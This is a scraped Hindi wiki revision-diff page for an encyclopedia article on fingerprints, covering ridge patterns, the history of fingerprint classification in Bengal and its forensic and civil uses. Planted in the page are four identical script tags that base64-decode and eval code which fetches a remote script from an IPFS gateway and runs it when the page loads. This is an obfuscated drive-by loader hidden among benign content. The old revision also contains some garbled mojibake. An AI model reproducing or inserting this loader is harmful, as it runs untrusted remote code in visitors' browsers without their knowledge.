"अंगुलि छाप" के अवतरणों में अंतर

अद्‌भुत भारत की खोज
नेविगेशन पर जाएँ खोज पर जाएँ
[अनिरीक्षित अवतरण][अनिरीक्षित अवतरण]
(''''अंगुलि छाप''' हल चलाए खेत की भाँति मनुष्य के हाथों तथ...' के साथ नया पन्ना बनाया)
 
 
(इसी सदस्य द्वारा किये गये बीच के ३ अवतरण नहीं दर्शाए गए)
पंक्ति १: पंक्ति १:
 +
{{भारतकोश पर बने लेख}}
 +
{{लेख सूचना
 +
|पुस्तक नाम=हिन्दी विश्वकोश खण्ड 1
 +
|पृष्ठ संख्या=13
 +
|भाषा= हिन्दी देवनागरी
 +
|लेखक =
 +
|संपादक=सुधाकर पाण्डेय
 +
|आलोचक=
 +
|अनुवादक=
 +
|प्रकाशक=नागरी प्रचारणी सभा वाराणसी
 +
|मुद्रक=नागरी मुद्रण वाराणसी
 +
|संस्करण=सन्‌ 1964 ईसवी
 +
|स्रोत=
 +
|उपलब्ध=भारतडिस्कवरी पुस्तकालय
 +
|कॉपीराइट सूचना=नागरी प्रचारणी सभा वाराणसी
 +
|टिप्पणी=
 +
|शीर्षक 1=लेख सम्पादक
 +
|पाठ 1=श्री सियाराम गुप्त
 +
|शीर्षक 2=
 +
|पाठ 2=
 +
|अन्य जानकारी=
 +
|बाहरी कड़ियाँ=
 +
|अद्यतन सूचना=
 +
}}
 +
 
'''अंगुलि छाप''' हल चलाए खेत की भाँति मनुष्य के हाथों तथा पैरों के तलबों में उभरी तथा गहरी महीन रेखाएँ दृष्टिगत होती हैं। वैसे तो वे रेखाएँ इतनी सूक्ष्म होती हैं कि सामान्यत: इनकी ओर ध्यान भी नहीं जाता, किंतु इनके विशेष अध्ययन ने एक विज्ञान को जन्म दिया है, जिसे अंगुलि-छाप-विज्ञान कहते हैं। इस विज्ञान में अंगुलियों के ऊपरी पोरों की उन्नत रेखाओं का विशेष महत्व है। कुछ सामान्य लक्षणों के आधार पर किए गए विश्लेषण के फलस्वरूप, इनसे बनने वाले आकार चार प्रकार के माने गए हैं:  
 
'''अंगुलि छाप''' हल चलाए खेत की भाँति मनुष्य के हाथों तथा पैरों के तलबों में उभरी तथा गहरी महीन रेखाएँ दृष्टिगत होती हैं। वैसे तो वे रेखाएँ इतनी सूक्ष्म होती हैं कि सामान्यत: इनकी ओर ध्यान भी नहीं जाता, किंतु इनके विशेष अध्ययन ने एक विज्ञान को जन्म दिया है, जिसे अंगुलि-छाप-विज्ञान कहते हैं। इस विज्ञान में अंगुलियों के ऊपरी पोरों की उन्नत रेखाओं का विशेष महत्व है। कुछ सामान्य लक्षणों के आधार पर किए गए विश्लेषण के फलस्वरूप, इनसे बनने वाले आकार चार प्रकार के माने गए हैं:  
 +
 
#शंख (लूप)
 
#शंख (लूप)
 
#चक्र (व्होर्ल)
 
#चक्र (व्होर्ल)
 
#शुक्ति या चाप (आर्च) तथा
 
#शुक्ति या चाप (आर्च) तथा
 
#मिश्रित (र्केपोजिट)
 
#मिश्रित (र्केपोजिट)
 +
[[चित्र:Finger print3.jpg|rihgt|]]
 
==उत्पत्ति==
 
==उत्पत्ति==
 
ऐसा विश्वास किया जाता है कि अंगुलि-छाप-विज्ञान का जन्म अत्यंत प्राचीन काल में एशिया में हुआ। भारतीय सामुद्रिक ने उपर्युक्त शंख, चक्र तथा शुक्तियों का विचार भविष्य गणना में किया है। दो हजार वर्ष से भी पहले चीन में अंगुलि-छापों का प्रयोग व्यक्ति की पहचान के लिए होता था। किंतु आधुनिक अंगुलि-छाप-विज्ञान का जन्म हम 1823 ई. से मान सकते हैं, जब ब्रेसला (जर्मनी) विश्वविद्यालय के प्राध्यापक श्री परकिंजे ने अंगुलि रेखाओं के स्थायित्व को स्वीकार किया। वर्तमान अंगुली-छाप-प्रणाली का प्रारंभ 1858 ई. में इंडियन सिविल सर्विस के सर विलियम हरशेल ने बंगाल के हुगली जिले में किया।
 
ऐसा विश्वास किया जाता है कि अंगुलि-छाप-विज्ञान का जन्म अत्यंत प्राचीन काल में एशिया में हुआ। भारतीय सामुद्रिक ने उपर्युक्त शंख, चक्र तथा शुक्तियों का विचार भविष्य गणना में किया है। दो हजार वर्ष से भी पहले चीन में अंगुलि-छापों का प्रयोग व्यक्ति की पहचान के लिए होता था। किंतु आधुनिक अंगुलि-छाप-विज्ञान का जन्म हम 1823 ई. से मान सकते हैं, जब ब्रेसला (जर्मनी) विश्वविद्यालय के प्राध्यापक श्री परकिंजे ने अंगुलि रेखाओं के स्थायित्व को स्वीकार किया। वर्तमान अंगुली-छाप-प्रणाली का प्रारंभ 1858 ई. में इंडियन सिविल सर्विस के सर विलियम हरशेल ने बंगाल के हुगली जिले में किया।
 
==वर्गीकरण==
 
==वर्गीकरण==
 
1892 ई. में प्रसिद्ध अंग्रेज वैज्ञानिक सर फ्रांसिस गाल्टन ने अंगुलि छापों पर अपनी एक पुस्तक प्रकाशित की, जिसमें उन्होंने हुगली के सब-रजिस्ट्रार श्री रामगति बंद्योपाध्याय द्वारा दी गई सहायता के लिए कृतज्ञता प्रकट की। उन्होंने उन्नत रेखाओं का स्थायित्व सिद्ध करते हुए अंगुलि छापों के वर्गीकरण तथा उनका अभिलेख रखने की एक प्रणाली बनाई, जिससे संदिग्ध व्यक्तियों की ठीक से पहचान हो सके। किंतु यह प्रणाली कुछ कठिन थी। दक्षिण प्रांत (बंगाल) के पुलिस इंस्पेक्टर जनरल सर ई.आर. हेनरी ने उक्त प्रणाली में सुधार करके अंगुलि छापों के वर्गीकरण की सरल प्रणाली निर्धारित की। इसका वास्तविक श्रेय श्री अजीजुल हक, पुलिस सब-इंस्पेक्टर, को है, जिन्हें सरकार ने 5000 का पुरस्कार भी दिया था।
 
1892 ई. में प्रसिद्ध अंग्रेज वैज्ञानिक सर फ्रांसिस गाल्टन ने अंगुलि छापों पर अपनी एक पुस्तक प्रकाशित की, जिसमें उन्होंने हुगली के सब-रजिस्ट्रार श्री रामगति बंद्योपाध्याय द्वारा दी गई सहायता के लिए कृतज्ञता प्रकट की। उन्होंने उन्नत रेखाओं का स्थायित्व सिद्ध करते हुए अंगुलि छापों के वर्गीकरण तथा उनका अभिलेख रखने की एक प्रणाली बनाई, जिससे संदिग्ध व्यक्तियों की ठीक से पहचान हो सके। किंतु यह प्रणाली कुछ कठिन थी। दक्षिण प्रांत (बंगाल) के पुलिस इंस्पेक्टर जनरल सर ई.आर. हेनरी ने उक्त प्रणाली में सुधार करके अंगुलि छापों के वर्गीकरण की सरल प्रणाली निर्धारित की। इसका वास्तविक श्रेय श्री अजीजुल हक, पुलिस सब-इंस्पेक्टर, को है, जिन्हें सरकार ने 5000 का पुरस्कार भी दिया था।
 +
[[चित्र:Finger print2.jpg|right|]]
 
==महत्त्व==
 
==महत्त्व==
 
इस प्रणाली की अचूकता देखकर भारत सरकार ने 1897 ई. में अंगुलि छापों द्वारा पूर्व दंडित पूर्वदंडित व्यक्तियों की पहचान के लिए विश्व का प्रथम अंगुलि-छाप-कार्यालय कलकत्ता में स्थापित किया। अंगुलि छाप द्वारा पहचान हो सिद्धांतों पर आश्रित है, एक तो यह कि दो भि­­न्न अंगुलियों की छापें कभी एक सी नहीं हो सकतीं, और दूसरा यह कि व्यक्तियों की अंगुलि छापें जीवन भर ही नहीं, अपितु जीवनोपरांत भी नहीं बदलती। अत: किसी भी विचारणीय अंगुलि छाप को किसी व्यक्ति की अंगुलि छाप से तुलना करके यह निश्चित किया जा सकता है कि विचारणीय अंगुलि छाप उसकी है या नहीं। अंगुलि छाप के अभाव में व्यक्ति की पहचान करना कितना कठिन है, यह प्रसिद्ध भवाल संन्यासीवाद (केस) के अनुशीलन से स्पष्ट हो जाएगा।
 
इस प्रणाली की अचूकता देखकर भारत सरकार ने 1897 ई. में अंगुलि छापों द्वारा पूर्व दंडित पूर्वदंडित व्यक्तियों की पहचान के लिए विश्व का प्रथम अंगुलि-छाप-कार्यालय कलकत्ता में स्थापित किया। अंगुलि छाप द्वारा पहचान हो सिद्धांतों पर आश्रित है, एक तो यह कि दो भि­­न्न अंगुलियों की छापें कभी एक सी नहीं हो सकतीं, और दूसरा यह कि व्यक्तियों की अंगुलि छापें जीवन भर ही नहीं, अपितु जीवनोपरांत भी नहीं बदलती। अत: किसी भी विचारणीय अंगुलि छाप को किसी व्यक्ति की अंगुलि छाप से तुलना करके यह निश्चित किया जा सकता है कि विचारणीय अंगुलि छाप उसकी है या नहीं। अंगुलि छाप के अभाव में व्यक्ति की पहचान करना कितना कठिन है, यह प्रसिद्ध भवाल संन्यासीवाद (केस) के अनुशीलन से स्पष्ट हो जाएगा।
पंक्ति १३: पंक्ति ४१:
 
अंगुलि-छाप-विज्ञान तीन कार्यों के लिए विशेष उपयोगी है, यथा-
 
अंगुलि-छाप-विज्ञान तीन कार्यों के लिए विशेष उपयोगी है, यथा-
 
#विवादग्रस्त लेखों पर की अंगुलि छापों की तुलना व्यक्ति विशेष की अंगुलि छापों से करके यह निश्चित करना कि विवादग्रस्त अंगुलि छाप उस व्यक्ति की है या नहीं।
 
#विवादग्रस्त लेखों पर की अंगुलि छापों की तुलना व्यक्ति विशेष की अंगुलि छापों से करके यह निश्चित करना कि विवादग्रस्त अंगुलि छाप उस व्यक्ति की है या नहीं।
 
 
#ठीक नाम और पता न बताने वाले अभियुक्त की अंगुलि छापों की तुलना दंडित व्यक्ति की अंगुलि छापों से करके यह निश्चित करना कि यह पूर्व दंडित है अथवा नहीं; और
 
#ठीक नाम और पता न बताने वाले अभियुक्त की अंगुलि छापों की तुलना दंडित व्यक्ति की अंगुलि छापों से करके यह निश्चित करना कि यह पूर्व दंडित है अथवा नहीं; और
 
#घटनास्थल की विभिन्न वस्तुओं पर अपराधी की अंकित अंगुलि छापों की तुलना संदिग्ध व्यक्ति की अंगुलि छापों से करके वह निश्चित करना कि अपराध किसने किया है।
 
#घटनास्थल की विभिन्न वस्तुओं पर अपराधी की अंकित अंगुलि छापों की तुलना संदिग्ध व्यक्ति की अंगुलि छापों से करके वह निश्चित करना कि अपराध किसने किया है।
 
+
==छापे की अनिवार्यता==
 
+
अनेक अपराधी ऐसे होते हैं, जो स्वेच्छा से अपनी अंगुलि छाप नहीं देना चाहते। अत: कैदी पहचान अधिनियम (आइडेंटिफ़िकेशन ऑफ़ प्रिजनर्स एक्ट 1920) द्वारा भारतीय पुलिस को बंदियों की अंगुलियों की छाप लेने का अधिकार दिया गया है। भारत के प्रत्येक राज्य में एक सरकारी अंगुलि-छाप- कार्यालय है, जिसमें दंडित व्यक्तियों की अंगुलि छापों के अभिलेख रखे जाते हैं तथा अपेक्षित तुलना के उपरांत आवश्यक सूचना दी जाती है। इलाहाबाद स्थित उत्तर प्रदेश के कार्यालय में ही लगभग तीन लाख ऐसे अभिलेख हैं। 1953 ई. में कलकत्ता में एक केंद्रीय अंगुलि-छाप-कार्यालय की भी स्थापना की गई है। इनके अतिरिक्त अनेक ऐसे विशेषज्ञ हैं, जो अंगुलि छापों के विवादग्रस्त मामलों में अपनी संमतियाँ देने का व्यवसाय करते हैं।
अनेक अपराधी ऐसे होते हैं जो स्वेच्छा से अपनी अंगुलि छाप नहीं देना चाहते। अत: कैदी पहचान अधिनियम (आइडेंटिफ़िकेशन ऑव प्रिजनर्स ऐक्™ü,
+
[[चित्र:Finger print5j pg.j.jpg|right|]]
 
+
==उपयोगिता==
१९२०) द्वारा भारतीय पुलिस को बंदियों की अंगुलियों की छाप लेने का अधिकार दिया गया है। भारत के प्रत्येक राज्य में एक सरकारी अंगुलि-छाप-
+
अंगुलि छापों का प्रयोग पुलिस विभाग तक ही सीमित नहीं है, अपितु अनेक सार्वजनिक कार्यों में यह अचूक पहचान के लिए उपयोगी सिद्ध हुआ है। नवजात बच्चों की अदला-बदली रोकने के लिए विदेशों के अस्पतालों में प्रारंभ में ही बालकों की पद छाप तथा उनकी माताओं की अंगुलि छाप से ली जाती है। कोई भी नागरिक समाज सेवा तथा अपनी रक्षा एवं पहचान के लिए अपनी अंगुलि छाप की सिविल रजिस्ट्री कराकर दुर्घटनाओं या अन्यथा क्षतविक्षत होने या पागल हो जाने की दशा में अपनी तथा खोए हुए बालकों की पहचान सुनिश्चित कर सकती है। अमरीका में तो यह प्रथा सर्वसाधारण तक से प्रचलित हो रही है।
 
+
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक1|माध्यमिक= |पूर्णता= |शोध= }}
कार्यालय है जिसमें दंडित व्यक्तियों की अंगुलि छापों के अभिलेख रखे जाते हैं तथा अपेक्षित तुलना के उपरांत आवश्यक सूचना दी जाती है। इलाहाबाद
 
 
 
स्थित उत्तर प्रदेश के कार्यालय में ही लगभग तीन लाख ऐसे अभिलेख हैं। १९५६ ई. में कलकत्ता में एक केंद्रीय अंगुलि-छाप-कार्यालय की भी स्थापना
 
 
 
की गई है। इनके अतिरिक्त अनेक ऐसे विशेषज्ञ हैं जो अंगुलि छापों के विवादग्रस्त मामलों में अपनी ÃÖ´¯ÖןֵÖÖÑ देने का व्यवसाय करते हैं।
 
 
 
अंगुलि छापों का प्रयोग पुलिस विभाग तक ही सीमित नहीं है, अपितु अनेक सार्वजनिक कार्यों में यह अचूक पहचान के लिए उपयोगी सिद्ध हुआ है। नवजात बच्चों की अदला-बदली रोकने के लिए विदेशों के अस्पतालों में प्रारंभ में ही बालकों की पद छाप तथा उनकी माताओं की अंगुलि छाप से ली जाती है। कोई भी नागरिक समाज सेवा तथा अपनी रक्षा एवं पहचान के लिए अपनी अंगुलि छाप की सिविल रजिस्ट्री कराकर दुर्घटनाओं या अन्यथा क्षतविक्षत होने या पागल हो जाने की दशा में अपनी तथा खोए हुए बालकों की पहचान सुनिश्चित कर सकती है। अमरीका में तो यह प्रथा सर्वसाधारण तक से प्रचलित हो रही है। (सिं. रा. गु.)
 
 
 
 
 
 
 
 
==टीका टिप्पणी और संदर्भ==
 
==टीका टिप्पणी और संदर्भ==
 
<references/>
 
<references/>
  
[[Category:नया पन्ना]]
+
[[Category:हिन्दी विश्वकोश]]
 
__INDEX__
 
__INDEX__
 +
__NOTOC__

१३:२७, १५ फ़रवरी २०१४ के समय का अवतरण

चित्र:Tranfer-icon.png यह लेख परिष्कृत रूप में भारतकोश पर बनाया जा चुका है। भारतकोश पर देखने के लिए यहाँ क्लिक करें

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

लेख सूचना
अंगुलि छाप
पुस्तक नाम हिन्दी विश्वकोश खण्ड 1
पृष्ठ संख्या 13
भाषा हिन्दी देवनागरी
संपादक सुधाकर पाण्डेय
प्रकाशक नागरी प्रचारणी सभा वाराणसी
मुद्रक नागरी मुद्रण वाराणसी
संस्करण सन्‌ 1964 ईसवी
उपलब्ध भारतडिस्कवरी पुस्तकालय
कॉपीराइट सूचना नागरी प्रचारणी सभा वाराणसी
लेख सम्पादक श्री सियाराम गुप्त

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

अंगुलि छाप हल चलाए खेत की भाँति मनुष्य के हाथों तथा पैरों के तलबों में उभरी तथा गहरी महीन रेखाएँ दृष्टिगत होती हैं। वैसे तो वे रेखाएँ इतनी सूक्ष्म होती हैं कि सामान्यत: इनकी ओर ध्यान भी नहीं जाता, किंतु इनके विशेष अध्ययन ने एक विज्ञान को जन्म दिया है, जिसे अंगुलि-छाप-विज्ञान कहते हैं। इस विज्ञान में अंगुलियों के ऊपरी पोरों की उन्नत रेखाओं का विशेष महत्व है। कुछ सामान्य लक्षणों के आधार पर किए गए विश्लेषण के फलस्वरूप, इनसे बनने वाले आकार चार प्रकार के माने गए हैं:

  1. शंख (लूप)
  2. चक्र (व्होर्ल)
  3. शुक्ति या चाप (आर्च) तथा
  4. मिश्रित (र्केपोजिट)

चित्र:Finger print3.jpg

उत्पत्ति

ऐसा विश्वास किया जाता है कि अंगुलि-छाप-विज्ञान का जन्म अत्यंत प्राचीन काल में एशिया में हुआ। भारतीय सामुद्रिक ने उपर्युक्त शंख, चक्र तथा शुक्तियों का विचार भविष्य गणना में किया है। दो हजार वर्ष से भी पहले चीन में अंगुलि-छापों का प्रयोग व्यक्ति की पहचान के लिए होता था। किंतु आधुनिक अंगुलि-छाप-विज्ञान का जन्म हम 1823 ई. से मान सकते हैं, जब ब्रेसला (जर्मनी) विश्वविद्यालय के प्राध्यापक श्री परकिंजे ने अंगुलि रेखाओं के स्थायित्व को स्वीकार किया। वर्तमान अंगुली-छाप-प्रणाली का प्रारंभ 1858 ई. में इंडियन सिविल सर्विस के सर विलियम हरशेल ने बंगाल के हुगली जिले में किया।

वर्गीकरण

1892 ई. में प्रसिद्ध अंग्रेज वैज्ञानिक सर फ्रांसिस गाल्टन ने अंगुलि छापों पर अपनी एक पुस्तक प्रकाशित की, जिसमें उन्होंने हुगली के सब-रजिस्ट्रार श्री रामगति बंद्योपाध्याय द्वारा दी गई सहायता के लिए कृतज्ञता प्रकट की। उन्होंने उन्नत रेखाओं का स्थायित्व सिद्ध करते हुए अंगुलि छापों के वर्गीकरण तथा उनका अभिलेख रखने की एक प्रणाली बनाई, जिससे संदिग्ध व्यक्तियों की ठीक से पहचान हो सके। किंतु यह प्रणाली कुछ कठिन थी। दक्षिण प्रांत (बंगाल) के पुलिस इंस्पेक्टर जनरल सर ई.आर. हेनरी ने उक्त प्रणाली में सुधार करके अंगुलि छापों के वर्गीकरण की सरल प्रणाली निर्धारित की। इसका वास्तविक श्रेय श्री अजीजुल हक, पुलिस सब-इंस्पेक्टर, को है, जिन्हें सरकार ने 5000 का पुरस्कार भी दिया था।

महत्त्व

इस प्रणाली की अचूकता देखकर भारत सरकार ने 1897 ई. में अंगुलि छापों द्वारा पूर्व दंडित पूर्वदंडित व्यक्तियों की पहचान के लिए विश्व का प्रथम अंगुलि-छाप-कार्यालय कलकत्ता में स्थापित किया। अंगुलि छाप द्वारा पहचान हो सिद्धांतों पर आश्रित है, एक तो यह कि दो भि­­न्न अंगुलियों की छापें कभी एक सी नहीं हो सकतीं, और दूसरा यह कि व्यक्तियों की अंगुलि छापें जीवन भर ही नहीं, अपितु जीवनोपरांत भी नहीं बदलती। अत: किसी भी विचारणीय अंगुलि छाप को किसी व्यक्ति की अंगुलि छाप से तुलना करके यह निश्चित किया जा सकता है कि विचारणीय अंगुलि छाप उसकी है या नहीं। अंगुलि छाप के अभाव में व्यक्ति की पहचान करना कितना कठिन है, यह प्रसिद्ध भवाल संन्यासीवाद (केस) के अनुशीलन से स्पष्ट हो जाएगा।

उपयोगिता

अंगुलि-छाप-विज्ञान तीन कार्यों के लिए विशेष उपयोगी है, यथा-

  1. विवादग्रस्त लेखों पर की अंगुलि छापों की तुलना व्यक्ति विशेष की अंगुलि छापों से करके यह निश्चित करना कि विवादग्रस्त अंगुलि छाप उस व्यक्ति की है या नहीं।
  2. ठीक नाम और पता न बताने वाले अभियुक्त की अंगुलि छापों की तुलना दंडित व्यक्ति की अंगुलि छापों से करके यह निश्चित करना कि यह पूर्व दंडित है अथवा नहीं; और
  3. घटनास्थल की विभिन्न वस्तुओं पर अपराधी की अंकित अंगुलि छापों की तुलना संदिग्ध व्यक्ति की अंगुलि छापों से करके वह निश्चित करना कि अपराध किसने किया है।

छापे की अनिवार्यता

अनेक अपराधी ऐसे होते हैं, जो स्वेच्छा से अपनी अंगुलि छाप नहीं देना चाहते। अत: कैदी पहचान अधिनियम (आइडेंटिफ़िकेशन ऑफ़ प्रिजनर्स एक्ट 1920) द्वारा भारतीय पुलिस को बंदियों की अंगुलियों की छाप लेने का अधिकार दिया गया है। भारत के प्रत्येक राज्य में एक सरकारी अंगुलि-छाप- कार्यालय है, जिसमें दंडित व्यक्तियों की अंगुलि छापों के अभिलेख रखे जाते हैं तथा अपेक्षित तुलना के उपरांत आवश्यक सूचना दी जाती है। इलाहाबाद स्थित उत्तर प्रदेश के कार्यालय में ही लगभग तीन लाख ऐसे अभिलेख हैं। 1953 ई. में कलकत्ता में एक केंद्रीय अंगुलि-छाप-कार्यालय की भी स्थापना की गई है। इनके अतिरिक्त अनेक ऐसे विशेषज्ञ हैं, जो अंगुलि छापों के विवादग्रस्त मामलों में अपनी संमतियाँ देने का व्यवसाय करते हैं।

उपयोगिता

अंगुलि छापों का प्रयोग पुलिस विभाग तक ही सीमित नहीं है, अपितु अनेक सार्वजनिक कार्यों में यह अचूक पहचान के लिए उपयोगी सिद्ध हुआ है। नवजात बच्चों की अदला-बदली रोकने के लिए विदेशों के अस्पतालों में प्रारंभ में ही बालकों की पद छाप तथा उनकी माताओं की अंगुलि छाप से ली जाती है। कोई भी नागरिक समाज सेवा तथा अपनी रक्षा एवं पहचान के लिए अपनी अंगुलि छाप की सिविल रजिस्ट्री कराकर दुर्घटनाओं या अन्यथा क्षतविक्षत होने या पागल हो जाने की दशा में अपनी तथा खोए हुए बालकों की पहचान सुनिश्चित कर सकती है। अमरीका में तो यह प्रथा सर्वसाधारण तक से प्रचलित हो रही है।

पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ